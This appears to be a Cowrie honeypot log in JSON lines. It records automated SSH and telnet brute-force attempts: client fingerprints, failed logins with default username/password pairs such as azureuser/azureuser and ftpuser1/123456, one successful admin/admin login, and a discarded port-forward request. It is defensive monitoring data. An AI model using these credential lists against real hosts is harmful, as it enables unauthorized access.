{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:18.921432Z","src_ip":"31.40.204.166","session":"5b4744c509fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.217129230499268,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:19.034360Z","src_ip":"152.42.224.71","session":"d1ce590a9c97","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:19.521736Z","src_ip":"31.40.204.166","session":"5b4744c509fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.662485361099243,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:20.307920Z","src_ip":"152.42.224.71","session":"b1b4418520dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:20.688908Z","src_ip":"31.40.204.166","session":"5b4744c509fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.96010494232178,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:21.269181Z","src_ip":"152.42.224.71","session":"b654f9570bf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45438,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a14ba778d1b","protocol":"telnet","message":"New connection: 152.42.224.71:45438 (10.17.0.5:23) [session: 5a14ba778d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:22.359763Z"}
{"eventid":"cowrie.session.closed","duration":56.49960780143738,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:23.955629Z","src_ip":"152.42.224.71","session":"b7498c3d8ebb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":112.93241238594055,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:25.814832Z","src_ip":"152.42.224.71","session":"808288cac6ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57992,"dst_ip":"10.17.0.5","dst_port":23,"session":"662d10ae5cb7","protocol":"telnet","message":"New connection: 152.42.224.71:57992 (10.17.0.5:23) [session: 662d10ae5cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:27.328513Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57154,"dst_ip":"159.203.135.109","dst_port":22,"session":"18f119f2f50b","protocol":"ssh","message":"New connection: 31.40.204.166:57154 (159.203.135.109:22) [session: 18f119f2f50b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:30.089269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:30.095595Z","src_ip":"31.40.204.166","session":"18f119f2f50b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:30.310055Z","src_ip":"31.40.204.166","session":"18f119f2f50b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:31.183927Z","src_ip":"31.40.204.166","session":"18f119f2f50b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:32.403931Z","src_ip":"31.40.204.166","session":"18f119f2f50b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58004,"dst_ip":"10.17.0.5","dst_port":23,"session":"469cfa7393a4","protocol":"telnet","message":"New connection: 152.42.224.71:58004 (10.17.0.5:23) [session: 469cfa7393a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:32.827473Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36672,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ee599ea2fd6","protocol":"ssh","message":"New connection: 31.40.204.166:36672 (159.203.135.109:22) [session: 4ee599ea2fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:42.115265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:42.181683Z","src_ip":"31.40.204.166","session":"4ee599ea2fd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:42.310382Z","src_ip":"31.40.204.166","session":"4ee599ea2fd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:43.305264Z","src_ip":"31.40.204.166","session":"4ee599ea2fd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.39683389663696,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:43.893882Z","src_ip":"152.42.224.71","session":"faafc9753c5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:44.487148Z","src_ip":"31.40.204.166","session":"4ee599ea2fd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.73598337173462,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:49.064238Z","src_ip":"152.42.224.71","session":"662d10ae5cb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55656,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bb598e4a824","protocol":"ssh","message":"New connection: 31.40.204.166:55656 (159.203.135.109:22) [session: 6bb598e4a824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:54.380459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:54.386258Z","src_ip":"31.40.204.166","session":"6bb598e4a824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:54.514817Z","src_ip":"31.40.204.166","session":"6bb598e4a824","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:55.212964Z","src_ip":"31.40.204.166","session":"6bb598e4a824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.95708680152893,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:55.911399Z","src_ip":"152.42.224.71","session":"5c01c2d1efe0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:56.382166Z","src_ip":"31.40.204.166","session":"6bb598e4a824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.05366802215576,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:56.413303Z","src_ip":"152.42.224.71","session":"5a14ba778d1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":119.7617700099945,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:57.650372Z","src_ip":"152.42.224.71","session":"69674fc5433b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6618,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9ec542366c3","protocol":"ssh","message":"New connection: 87.251.64.176:6618 (10.17.0.5:22) [session: f9ec542366c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:59.606889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:59.612545Z","src_ip":"87.251.64.176","session":"f9ec542366c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:01:59.710497Z","src_ip":"87.251.64.176","session":"f9ec542366c3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:00.005325Z","src_ip":"87.251.64.176","session":"f9ec542366c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43724,"dst_ip":"10.17.0.5","dst_port":23,"session":"96c587d4e63d","protocol":"telnet","message":"New connection: 152.42.224.71:43724 (10.17.0.5:23) [session: 96c587d4e63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:00.070875Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:00.107987Z","session":"f9ec542366c3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:00.207724Z","src_ip":"87.251.64.176","session":"f9ec542366c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:00.307888Z","src_ip":"87.251.64.176","session":"f9ec542366c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43736,"dst_ip":"10.17.0.5","dst_port":23,"session":"055576ea00bb","protocol":"telnet","message":"New connection: 152.42.224.71:43736 (10.17.0.5:23) [session: 055576ea00bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:00.569705Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43746,"dst_ip":"10.17.0.5","dst_port":23,"session":"e247c608cae0","protocol":"telnet","message":"New connection: 152.42.224.71:43746 (10.17.0.5:23) [session: e247c608cae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:01.787129Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43752,"dst_ip":"10.17.0.5","dst_port":23,"session":"d166f78945c0","protocol":"telnet","message":"New connection: 152.42.224.71:43752 (10.17.0.5:23) [session: d166f78945c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:03.129694Z"}
{"eventid":"cowrie.session.closed","duration":33.69167757034302,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:06.519017Z","src_ip":"152.42.224.71","session":"469cfa7393a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":59186,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8478646e2ae","protocol":"ssh","message":"New connection: 31.40.204.166:59186 (159.203.135.109:22) [session: f8478646e2ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:06.815866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:06.883101Z","src_ip":"31.40.204.166","session":"f8478646e2ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:07.086923Z","src_ip":"31.40.204.166","session":"f8478646e2ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:07.617070Z","src_ip":"31.40.204.166","session":"f8478646e2ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00142192840576,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:07.727337Z","src_ip":"152.42.224.71","session":"b91e701ca5c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:08.790127Z","src_ip":"31.40.204.166","session":"f8478646e2ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.84546709060669,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:09.855742Z","src_ip":"152.42.224.71","session":"4d2bc590e565","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55244,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b4eab4b9ab3","protocol":"telnet","message":"New connection: 152.42.224.71:55244 (10.17.0.5:23) [session: 8b4eab4b9ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:13.739407Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47662,"dst_ip":"159.203.135.109","dst_port":22,"session":"749394f6b18a","protocol":"ssh","message":"New connection: 31.40.204.166:47662 (159.203.135.109:22) [session: 749394f6b18a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:19.198729Z"}
